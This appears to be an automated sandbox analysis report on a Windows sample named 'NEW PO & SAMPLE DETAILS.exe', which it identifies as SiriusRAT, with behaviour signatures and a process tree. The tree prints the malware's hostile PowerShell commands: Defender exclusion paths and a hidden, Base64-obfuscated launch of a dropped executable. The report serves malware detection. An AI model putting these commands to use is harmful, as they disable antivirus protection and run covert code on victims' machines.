Analysis
- max time kernel
300s - max time network
302s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 12:56
General
- Target NEW PO & SAMPLE DETAILS.exe
- Size 2.7MB
- Sample260804-p6cslsfj71
- SHA256 13367ed6c45119783c7eccc3db9b7a9095a4d662d9f5e7bc1ae1d195958ab1e2
Malware Config
Signatures
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Detects SiriusRAT 17 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Checks processor information in registry
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f53b1z=4443;$m1iteu=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$nb4dry=[System.Environment]::TickCount;$bg32ul=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFF5dlJxek9jTlYuZXhl')));$hlkk02=$env:COMPUTERNAME;& $m1iteu -FilePath $bg32ul"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exeC:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe3⤵
- Executes dropped EXE
- Checks processor information in registry
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_qx3vuywj.ubw.ps1
QyvRqzOcNV.exe
memory/848-26-0x000001B7ADAA0000-0x000001B7ADAC2000-memory.dmp
memory/876-3-0x000002CCC0DB0000-0x000002CCC0DC0000-memory.dmp
memory/876-0-0x000002CCC0750000-0x000002CCC0A12000-memory.dmp
memory/876-9-0x000002CCC0DB0000-0x000002CCC0DC0000-memory.dmp
memory/876-5-0x000002CCC0DB0000-0x000002CCC0DC0000-memory.dmp
memory/876-4-0x000002CCDC430000-0x000002CCDC6CA000-memory.dmp
memory/876-2-0x000002CCC2670000-0x000002CCC2684000-memory.dmp
memory/876-1-0x000002CCC0DB0000-0x000002CCC0DC0000-memory.dmp
memory/2648-10-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-44-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-15-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-13-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-14-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-18-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-16-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-42-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-11-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2648-12-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3556-43-0x000001F5ACCC0000-0x000001F5ACCD4000-memory.dmp
memory/4160-50-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-49-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-51-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-48-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-47-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-62-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4160-63-0x0000000140000000-0x0000000140558000-memory.dmp